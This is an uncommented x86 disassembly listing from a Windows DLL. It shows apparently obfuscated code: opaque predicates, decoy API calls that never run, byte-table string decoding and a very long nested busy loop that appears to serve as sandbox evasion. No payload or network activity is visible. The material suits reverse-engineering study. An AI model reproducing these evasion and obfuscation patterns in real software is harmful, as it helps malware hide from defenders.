mov dword [ebp - 0x3c8], 0xb76eea53
mov dword [ebp - 0xfa4], 4
mov dword [ebp - 0x1bc], 0x393e75cb
mov dword [ebp - 0xd64], 2
mov dword [ebp - 0xd60], 2
mov dword [ebp - 0xd5c], 2
mov dword [ebp - 0xd58], 2
mov dword [ebp - 0x380], 0x4829
mov dword [ebp - 0xefc], 0xc767
mov dword [ebp - 0x100c], 0xfffffffd
mov dword [ebp - 0x25c], 0
jmp 0x100191b4
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 3
jge 0x100191d6
push dword [ebp - 0x25c]
lea ecx, [ebp - 0x9e4]
call fcn.1002154c
mov dword [eax], 0x8ec0
jmp 0x100191a7
mov dword [ebp - 0xb8], 0
jmp 0x100191ef
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 2
jg 0x10019640
mov dword [ebp - 0x40], 0xc6e5c7a0
mov dword [ebp - 0x8fc], 0x2d3f5047
mov dword [ebp - 0x40], 2
jmp 0x1001921d
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jl 0x10019399
mov dword [ebp - 0x188], 0x328f6c74
mov dword [ebp - 0x188], 2
jmp 0x1001924a
mov eax, dword [ebp - 0x188]
dec eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0
jl 0x10019394
push 3
lea ecx, [ebp - 0xdf8]
call fcn.100214ae
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x2f8], 0
jmp 0x10019281
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 3
jge 0x100192a3
push dword [ebp - 0x2f8]
lea ecx, [ebp - 0xdf8]
call fcn.1002154c
mov dword [eax], 0xbcd76ce4
jmp 0x10019274
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x9e4]
call fcn.1002154c
mov dword [ebp - 0x8dc], eax
push dword [ebp - 0x188]
lea ecx, [ebp - 0x9e4]
call fcn.1002154c
mov ecx, dword [ebp - 0x8dc]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x8dc]
cmp dword [eax], 0
je 0x10019340
mov dword [ebp - 0xf04], 0xfffffff7
mov dword [ebp - 0xfac], 0xffffffff
mov dword [ebp - 0x3e4], 0x7779a7b4
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
jne 0x1001931f
mov eax, 0x85dc1b6e
test eax, eax
jne 0x1001931f
and dword [ebp - 0x4d8], 0
jmp 0x10019329
mov dword [ebp - 0x4d8], 1
push 0
lea ecx, [ebp - 0xdf8]
call fcn.1002154c
mov ecx, dword [ebp - 0x4d8]
mov dword [eax], ecx
jmp 0x10019380
mov dword [ebp - 0x1bc], 0
jmp 0x10019359
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 2
jg 0x10019380
mov byte [ebp - 0x123], 0
movzx eax, byte [ebp - 0x123]
test eax, eax
je 0x1001937e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x1001934c
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xdf8]
call fcn.10021530
jmp 0x1001923d
jmp 0x10019216
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x9e4]
call fcn.1002154c
cmp dword [eax], 0
je 0x10019443
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd64]
neg eax
cmp eax, 4
jae 0x100193d3
mov dword [ebp - 0x8e4], 1
jmp 0x100193da
and dword [ebp - 0x8e4], 0
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x8e4]
jne 0x100193f1
mov dword [ebp - 0x4e0], 1
jmp 0x100193f8
and dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x3c8], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x3c8]
cmp ecx, dword [ebp + eax - 0xd64]
je 0x10019425
mov dword [ebp - 0x8ec], 1
jmp 0x1001942c
and dword [ebp - 0x8ec], 0
imul eax, dword [ebp - 0x8ec], 0xfffffffc
test eax, eax
je 0x10019443
mov dword [ebp - 0x4e8], 1
jmp 0x1001944a
and dword [ebp - 0x4e8], 0
cmp dword [ebp - 0x4e8], 0x7673ed13
jge 0x10019462
mov dword [ebp - 0x8f4], 1
jmp 0x10019469
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x380]
cmp dword [ebp - 0x8f4], eax
jg 0x10019486
cmp dword [ebp - 0x40], 0
jne 0x10019486
and dword [ebp - 0x4f0], 0
jmp 0x10019490
mov dword [ebp - 0x4f0], 1
mov eax, dword [ebp - 0x4f0]
mov dword [ebp - 0x40], eax
mov esi, dword [ebp - 0x40]
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x9e4]
call fcn.1002154c
cmp esi, dword [eax]
jle 0x100194bd
mov dword [ebp - 0x4f8], 1
jmp 0x100194c4
and dword [ebp - 0x4f8], 0
mov dword [ebp - 0x8fc], 1
mov esi, dword [ebp - 0x8fc]
add esi, dword [ebp - 0x4f8]
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x9e4]
call fcn.1002154c
add esi, dword [eax]
mov dword [ebp - 0x1bc], esi
mov dword [ebp - 0x40], 2
jmp 0x10019503
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jl 0x1001963b
and dword [ebp - 0xd8c], 0
and dword [ebp - 0xd88], 0
and dword [ebp - 0xd84], 0
and dword [ebp - 0xd80], 0
lea ecx, [ebp - 0x3c9]
call fcn.1002155b
push eax
lea eax, [ebp - 0xd7c]
push eax
lea eax, [ebp - 0xd8c]
push eax
lea ecx, [ebp - 0x107c]
call fcn.1002155e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xbf4]
call fcn.1002150a
mov byte [ebp - 4], 0xd
mov dword [ebp - 0xbc4], 0xfffffff8
push 0
lea ecx, [ebp - 0xbf4]
call fcn.1002154c
mov dword [ebp - 0x904], eax
mov eax, dword [ebp - 0x904]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x904]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xbf4]
call fcn.1002154c
cmp dword [eax], 9
jle 0x100195ae
mov dword [ebp - 0x500], 1
jmp 0x100195b5
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x380]
cmp dword [ebp - 0x500], eax
jle 0x100195cf
mov dword [ebp - 0x90c], 1
jmp 0x100195d6
and dword [ebp - 0x90c], 0
push 2
lea ecx, [ebp - 0xbf4]
call fcn.1002154c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x90c]
jle 0x10019611
cmp dword [ebp - 0x380], 1
jge 0x10019611
push 1
lea ecx, [ebp - 0xbf4]
call fcn.1002154c
cmp dword [eax], 0
jne 0x10019611
and dword [ebp - 0x508], 0
jmp 0x1001961b
mov dword [ebp - 0x508], 1
mov eax, dword [ebp - 0x508]
mov dword [ebp - 0xbc4], eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xbf4]
call fcn.10021530
jmp 0x100194fc
jmp 0x100191e2
push 2
lea ecx, [ebp - 0x9e4]
call fcn.1002154c
mov eax, dword [eax]
mov dword [ebp - 0x3c8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9e4]
call fcn.10021530
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x914], 0x2ffb
jge 0x10019683
push dword [ebp - 0xcc0]
call fcn.1005a7f1
pop ecx
jmp 0x1001969f
or dword [ebp - 4], 0xffffffff
jmp 0x100196a9
push 2
lea ecx, [ebp - 0xdd4]
call fcn.100214ae
mov dword [ebp - 4], 0x10
mov dword [ebp - 0xcd0], 8
mov dword [ebp - 0xf0c], 0xffffffff
mov dword [ebp - 0x264], 0
jmp 0x100196ea
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 2
jge 0x1001970c
push dword [ebp - 0x264]
lea ecx, [ebp - 0xdd4]
call fcn.1002154c
mov dword [eax], 0xfd41
jmp 0x100196dd
push 0
lea ecx, [ebp - 0xdd4]
call fcn.1002154c
mov eax, dword [eax]
mov dword [ebp - 0xcd0], eax
mov byte [ebp - 0x119], 0
movzx eax, byte [ebp - 0x119]
test eax, eax
je 0x10019749
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdd4]
call fcn.10021530
mov byte [ebp - 0x1e4], 1
mov byte [ebp - 0x1e3], 1
mov byte [ebp - 0x1e2], 8
mov byte [ebp - 0x1e1], 0xa
mov byte [ebp - 0x1e0], 9
mov byte [ebp - 0x1df], 1
mov byte [ebp - 0x1de], 0xa
mov byte [ebp - 0x1dd], 0x2b
mov byte [ebp - 0x1dc], 3
mov byte [ebp - 0x1db], 0x13
mov byte [ebp - 0x1da], 0xc
mov byte [ebp - 0x1d9], 1
mov byte [ebp - 0x1d8], 5
mov byte [ebp - 0x1d7], 0x25
mov byte [ebp - 0x1d6], 7
mov byte [ebp - 0x1d5], 0x1b
mov byte [ebp - 0x1d4], 0xb
mov byte [ebp - 0x1d3], 0x11
mov byte [ebp - 0x1d2], 2
mov byte [ebp - 0x1d1], 0xc
mov byte [ebp - 0x1d0], 6
mov byte [ebp - 0x1cf], 7
mov byte [ebp - 0x1ce], 0
mov byte [ebp - 0x1cd], 0x34
mov byte [ebp - 0x1cc], 4
mov byte [ebp - 0x1cb], 0x22
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x388], 0x2af
mov dword [ebp - 0xcd8], 1
mov dword [ebp - 0x93c], 0xa1efe0c2
mov dword [ebp - 0x540], 0x81c37f5e
mov dword [ebp - 0xbc8], 1
push 2
lea ecx, [ebp - 0xe10]
call fcn.100214ae
mov dword [ebp - 4], 0x11
mov dword [ebp - 0xb4], 0
jmp 0x10019874
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jge 0x10019890
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0x300], 6
jmp 0x10019867
mov dword [ebp - 0xb4], 0
jmp 0x100198a9
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 2
jge 0x100198cb
push dword [ebp - 0xb4]
lea ecx, [ebp - 0xe10]
call fcn.1002154c
mov dword [eax], 0xfffffff6
jmp 0x1001989c
cmp dword [ebp - 0x20], 0
jne 0x100199f7
cmp dword [ebp - 0x20], 0x2038
jne 0x100198ea
mov dword [ebp - 0x510], 1
jmp 0x100198f1
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x510], eax
jg 0x10019908
mov dword [ebp - 0x91c], 1
jmp 0x1001990f
and dword [ebp - 0x91c], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x91c], eax
jne 0x10019929
cmp dword [ebp - 0x20], 0
jne 0x10019929
and dword [ebp - 0x518], 0
jmp 0x10019933
mov dword [ebp - 0x518], 1
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x518], eax
jg 0x1001994a
mov dword [ebp - 0x924], 1
jmp 0x10019951
and dword [ebp - 0x924], 0
cmp dword [ebp - 0x924], 0x5b14
jle 0x10019969
mov dword [ebp - 0x520], 1
jmp 0x10019970
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x520], eax
jge 0x10019987
mov dword [ebp - 0x92c], 1
jmp 0x1001998e
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x92c], eax
je 0x100199a5
mov dword [ebp - 0x528], 1
jmp 0x100199ac
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x528]
add eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
test eax, eax
jle 0x100199d1
cmp dword [ebp - 0x388], 0
jne 0x100199d1
and dword [ebp - 0x934], 0
jmp 0x100199db
mov dword [ebp - 0x934], 1
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x934]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x100199f7
and dword [ebp - 0x530], 0
jmp 0x10019a01
mov dword [ebp - 0x530], 1
mov eax, dword [ebp - 0x530]
mov dword [ebp - 0xcd8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x300], 0
je 0x10019a8d
cmp dword [ebp - 0x388], 1
jle 0x10019a38
cmp dword [ebp - 0x93c], 0
jne 0x10019a38
and dword [ebp - 0x538], 0
jmp 0x10019a42
mov dword [ebp - 0x538], 1
mov eax, dword [ebp - 0x93c]
cmp eax, dword [ebp - 0x538]
jl 0x10019a5c
mov dword [ebp - 0x944], 1
jmp 0x10019a63
and dword [ebp - 0x944], 0
mov eax, dword [ebp - 0x944]
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 0
je 0x10019a8d
mov eax, 0x975
test eax, eax
je 0x10019a8d
mov dword [ebp - 0x94c], 1
jmp 0x10019a94
and dword [ebp - 0x94c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x94c]
add ecx, 0xe56979f
sub ecx, dword [ebp + eax - 0x300]
cmp ecx, 0xcea0
jl 0x10019ac7
cmp dword [ebp - 0x20], 0
je 0x10019ac7
mov dword [ebp - 0x954], 1
jmp 0x10019ace
and dword [ebp - 0x954], 0
imul eax, dword [ebp - 0x954], 0x9e0c
cmp eax, 0xffffffff
jl 0x10019ae9
mov dword [ebp - 0xccc], 1
jmp 0x10019af0
and dword [ebp - 0xccc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x300]
mov dword [ebp - 0xfe4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbc8]
cmp ecx, dword [ebp + eax - 0x300]
je 0x10019b24
mov dword [ebp - 0x7b0], 1
jmp 0x10019b2b
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x388]
cmp eax, dword [ebp - 0x7b0]
jne 0x10019b45
mov dword [ebp - 0x550], 1
jmp 0x10019b4c
and dword [ebp - 0x550], 0
push 0
lea ecx, [ebp - 0xe10]
call fcn.1002154c
mov ecx, dword [ebp - 0x550]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe10]
call fcn.10021530
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1e4]
and eax, 0x64
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1e4]
or ecx, 0x64
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1e4]
mov byte [ebp + eax - 0xa50], cl
mov dword [ebp - 0x5c], 2
and dword [ebp - 0x390], 0
jmp 0x10019bc1
mov eax, dword [ebp - 0x5c]
inc eax
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x1a
jae 0x10019e01
mov dword [ebp - 0x58], 0x2e91a049
push 2
lea ecx, [ebp - 0xe40]
call fcn.100214ae
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x26c], 0
jmp 0x10019bff
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 2
jge 0x10019c21
push dword [ebp - 0x26c]
lea ecx, [ebp - 0xe40]
call fcn.1002154c
mov dword [eax], 0x5feaf86f
jmp 0x10019bf2
mov dword [ebp - 0x58], 0
jmp 0x10019c31
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x10
jg 0x10019d65
mov dword [ebp - 0xe8], 0xfffffffe
mov dword [ebp - 0xa7c], 1
cmp dword [ebp - 0xe8], 0
jne 0x10019cba
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xf14], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xfb4], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0xf1c], eax
cmp dword [ebp - 0x58], 0
jl 0x10019c8e
cmp dword [ebp - 0x58], 0
je 0x10019c8e
mov dword [ebp - 0x9b8], 1
jmp 0x10019c95
and dword [ebp - 0x9b8], 0
cmp dword [ebp - 0x9b8], 0xe713
jge 0x10019cad
mov dword [ebp - 0x558], 1
jmp 0x10019cb4
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0xe8], 0
jne 0x10019ccf
mov dword [ebp - 0x7b8], 1
jmp 0x10019cd6
and dword [ebp - 0x7b8], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x7b8], eax
jl 0x10019cf0
mov dword [ebp - 0x560], 1
jmp 0x10019cf7
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x560]
sub eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0xe8]
cmp eax, dword [ebp - 0xe8]
jg 0x10019d1a
mov dword [ebp - 0x8e8], 1
jmp 0x10019d21
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x8e8], eax
jge 0x10019d38
mov dword [ebp - 0x3dc], 1
jmp 0x10019d3f
and dword [ebp - 0x3dc], 0
push 0
lea ecx, [ebp - 0xe40]
call fcn.1002154c
mov ecx, dword [ebp - 0x3dc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0xa7c], eax
jmp 0x10019c2a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe40]
call fcn.10021530
mov eax, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x390]
movzx eax, byte [ebp + eax - 0x1e6]
movsx eax, byte [ebp + eax - 0xa50]
mov ecx, dword [ebp - 0x5c]
movzx ecx, byte [ebp + ecx - 0x1e3]
and ecx, eax
mov eax, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x390]
movzx eax, byte [ebp + eax - 0x1e6]
movsx eax, byte [ebp + eax - 0xa50]
mov edx, dword [ebp - 0x5c]
movzx edx, byte [ebp + edx - 0x1e3]
and edx, eax
mov eax, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x390]
movzx eax, byte [ebp + eax - 0x1e6]
movsx eax, byte [ebp + eax - 0xa50]
mov esi, dword [ebp - 0x5c]
movzx ebx, byte [ebp + esi - 0x1e3]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x5c]
movzx eax, byte [ebp + eax - 0x1e4]
mov byte [ebp + eax - 0xa50], bl
jmp 0x10019bb9
mov dword [ebp - 0x308], 0xcff0ea75
push 2
lea ecx, [ebp - 0xc04]
call fcn.100214ae
mov dword [ebp - 4], 0x13
push 1
lea ecx, [ebp - 0xe28]
call fcn.100214ae
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x9c], 0
jmp 0x10019e49
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 2
jge 0x10019e6b
push dword [ebp - 0x9c]
lea ecx, [ebp - 0xc04]
call fcn.1002154c
mov dword [eax], 0xffff
jmp 0x10019e3c
mov dword [ebp - 0x9c], 0
jmp 0x10019e84
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jge 0x10019ea6
push dword [ebp - 0x9c]
lea ecx, [ebp - 0xe28]
call fcn.1002154c
mov dword [eax], 0x99333c7d
jmp 0x10019e77
mov dword [ebp - 0x308], 0
jmp 0x10019ebf
mov eax, dword [ebp - 0x308]
dec eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0xffffffe7
jle 0x10019fb5
mov dword [ebp - 0x3d0], 0x6a9e
mov dword [ebp - 0xbb8], 0
mov esi, dword [ebp - 0x3d0]
push 1
lea ecx, [ebp - 0xc04]
call fcn.1002154c
mov dword [eax], esi
cmp dword [ebp - 0x3d0], 0x5f07c70a
jge 0x10019f0d
mov dword [ebp - 0x568], 1
jmp 0x10019f14
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x568]
sub eax, 0x189bf037
cmp eax, dword [ebp - 0x3d0]
jne 0x10019f33
mov dword [ebp - 0x7c0], 1
jmp 0x10019f3a
and dword [ebp - 0x7c0], 0
push 1
lea ecx, [ebp - 0xc04]
call fcn.1002154c
mov ecx, dword [ebp - 0x7c0]
cmp ecx, dword [eax]
je 0x10019f5d
mov dword [ebp - 0x570], 1
jmp 0x10019f64
and dword [ebp - 0x570], 0
push 1
lea ecx, [ebp - 0xc04]
call fcn.1002154c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x570]
jle 0x10019f87
mov dword [ebp - 0x980], 1
jmp 0x10019f8e
and dword [ebp - 0x980], 0
mov esi, dword [ebp - 0xbb8]
sub esi, 0xd21f
imul esi, dword [ebp - 0x980]
push 0
lea ecx, [ebp - 0xe28]
call fcn.1002154c
mov dword [eax], esi
jmp 0x10019eb2
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xe28]
call fcn.10021530
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc04]
call fcn.10021530
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0xa50], 0
mov dword [ebp - 0x3e0], 0xfffffffc
mov dword [ebp - 0xfe8], 0xffffffff
mov dword [ebp - 0xf24], 0xba095a97
mov dword [ebp - 0x190], 0xffffffff
mov dword [ebp - 0x578], 0x649f6d4a
mov dword [ebp - 0x398], 0xfffd
mov dword [ebp - 0x3a0], 0xb996a530
mov dword [ebp - 0xaf8], 1
mov dword [ebp - 0x80], 0
jmp 0x1001a041
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 2
jge 0x1001a057
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0xa14], 1
jmp 0x1001a03a
mov dword [ebp - 0x80], 0
jmp 0x1001a067
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jge 0x1001a07d
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0xfbc], 0xe3ff14eb
jmp 0x1001a060
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa14]
mov dword [ebp - 0xf2c], eax
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0xfec], eax
mov eax, dword [ebp - 0x3e0]
dec eax
mov dword [ebp - 0x3e0], eax
mov eax, dword [ebp - 0x3a0]
mov dword [ebp - 0x578], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x578]
imul ecx, dword [ebp + eax - 0xa14]
mov eax, dword [ebp - 0x3e0]
mov edx, dword [ebp - 0x3a0]
inc edx
mov dword [ebp - 0x3a0], edx
cmp eax, ecx
jg 0x1001a117
cmp dword [ebp - 0x190], 0
je 0x1001a104
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa14], 0
push 0xfffffffffffffffb
pop eax
test eax, eax
je 0x1001a117
mov dword [ebp - 0x7c8], 1
jmp 0x1001a11e
and dword [ebp - 0x7c8], 0
cmp dword [ebp - 0x7c8], 0xf355c0c8
jne 0x1001a136
mov dword [ebp - 0x580], 1
jmp 0x1001a13d
and dword [ebp - 0x580], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa14]
imul eax, dword [ebp - 0x580]
mov dword [ebp - 0xaf8], eax
mov dword [ebp - 0x190], 0
jmp 0x1001a170
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 1
jg 0x1001a1ac
mov dword [ebp - 0x8f0], 0x7bf7
mov byte [ebp - 0x125], 0
movzx eax, byte [ebp - 0x125]
test eax, eax
je 0x1001a19d
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebp - 0x8f0]
dec eax
mov dword [ebp - 0x8f0], eax
jmp 0x1001a163
lea eax, [ebp - 0xa50]
push eax
lea ecx, [ebp - 0x1124]
call fcn.1002144c
mov dword [ebp - 0xa88], eax
mov eax, dword [ebp - 0xa88]
mov dword [ebp - 0xafc], eax
mov dword [ebp - 4], 0x15
mov edx, dword [ebp - 0x6d8]
mov ecx, dword [ebp - 0xafc]
call fcn.1000ac6a
mov dword [0x10619d98], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1124]
call fcn.1002146f
and dword [ebp - 0x310], 0
jmp 0x1001a212
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0xe
jae 0x1001a2ed
push 2
lea ecx, [ebp - 0xd10]
call fcn.100214ae
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x15c], 0xbdba76aa
mov dword [ebp - 0xf34], 0x9f3690f1
mov dword [ebp - 0x274], 0
jmp 0x1001a260
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 2
jge 0x1001a27f
push dword [ebp - 0x274]
lea ecx, [ebp - 0xd10]
call fcn.1002154c
or dword [eax], 0xffffffff
jmp 0x1001a253
mov dword [ebp - 0x15c], 0
jmp 0x1001a298
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 1
jg 0x1001a2cb
push dword [ebp - 0x15c]
lea ecx, [ebp - 0xd10]
call fcn.1002154c
mov esi, eax
push dword [ebp - 0x15c]
lea ecx, [ebp - 0xd10]
call fcn.1002154c
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x1001a28b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd10]
call fcn.10021530
mov eax, dword [ebp - 0x310]
mov byte [ebp + eax - 0xa50], 0
jmp 0x1001a205
mov dword [ebp - 0x5a8], 0x55ce
mov dword [ebp - 0xaa0], 0x10007e38
cmp dword [ebp - 0x5a8], 0x56f4
jle 0x1001a3b9
and dword [ebp - 0x284], 0
jmp 0x1001a327
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0x33ea
jge 0x1001a3b9
and dword [ebp - 0x27c], 0
jmp 0x1001a34d
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x39c7
jge 0x1001a3b4
and dword [ebp - 0x318], 0
jmp 0x1001a36f
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0x2d02
jge 0x1001a3b2
mov eax, dword [ebp - 0x27c]
xor eax, dword [ebp - 0x318]
or eax, dword [ebp - 0x284]
cdq
mov dword [ebp - 0xaa8], eax
mov dword [ebp - 0xaa4], edx
push dword [ebp - 0xaa4]
push dword [ebp - 0xaa8]
mov ecx, 0x10618c58
call fcn.100212a3
jmp 0x1001a362
jmp 0x1001a340
jmp 0x1001a31a
push 3
lea ecx, [ebp - 0xa40]
call fcn.100214ae
mov dword [ebp - 4], 0x17
mov dword [ebp - 0xa94], 0xb49d585e
mov dword [ebp - 0x13c], 0xdad5a519
mov dword [ebp - 0x320], 0
jmp 0x1001a3fa
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 3
jge 0x1001a41c
push dword [ebp - 0x320]
lea ecx, [ebp - 0xa40]
call fcn.1002154c
mov dword [eax], 0xc692beaa
jmp 0x1001a3ed
push 1
lea ecx, [ebp - 0xa40]
call fcn.1002154c
cmp dword [eax], 0
je 0x1001a483
mov dword [ebp - 0x28c], 0
jmp 0x1001a447
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 4
jge 0x1001a463
mov eax, dword [ebp - 0x28c]
mov dword [ebp + eax*4 - 0x1038], 0xfffd
jmp 0x1001a43a
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1038]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x1038], eax
jmp 0x1001a64a
mov dword [ebp - 0xf0], 0xe814b733
mov dword [ebp - 0x1b4], 0xacf25792
mov dword [ebp - 0xf0], 0
jmp 0x1001a4b0
mov eax, dword [ebp - 0xf0]
dec eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xfffffff8
jl 0x1001a519
mov esi, dword [ebp - 0x1b4]
push 1
lea ecx, [ebp - 0xa40]
call fcn.1002154c
cmp dword [eax], esi
jg 0x1001a4dc
mov dword [ebp - 0x588], 1
jmp 0x1001a4e3
and dword [ebp - 0x588], 0
cmp dword [ebp - 0x588], 0
je 0x1001a4f8
mov dword [ebp - 0x7d0], 1
jmp 0x1001a4ff
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0x7d0]
mov dword [ebp - 0xa94], eax
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x13c], eax
jmp 0x1001a4a3
cmp dword [ebp - 0xf0], 0
je 0x1001a53c
mov eax, dword [ebp - 0x1b4]
cmp eax, dword [ebp - 0x13c]
je 0x1001a53c
mov dword [ebp - 0x590], 1
jmp 0x1001a543
and dword [ebp - 0x590], 0
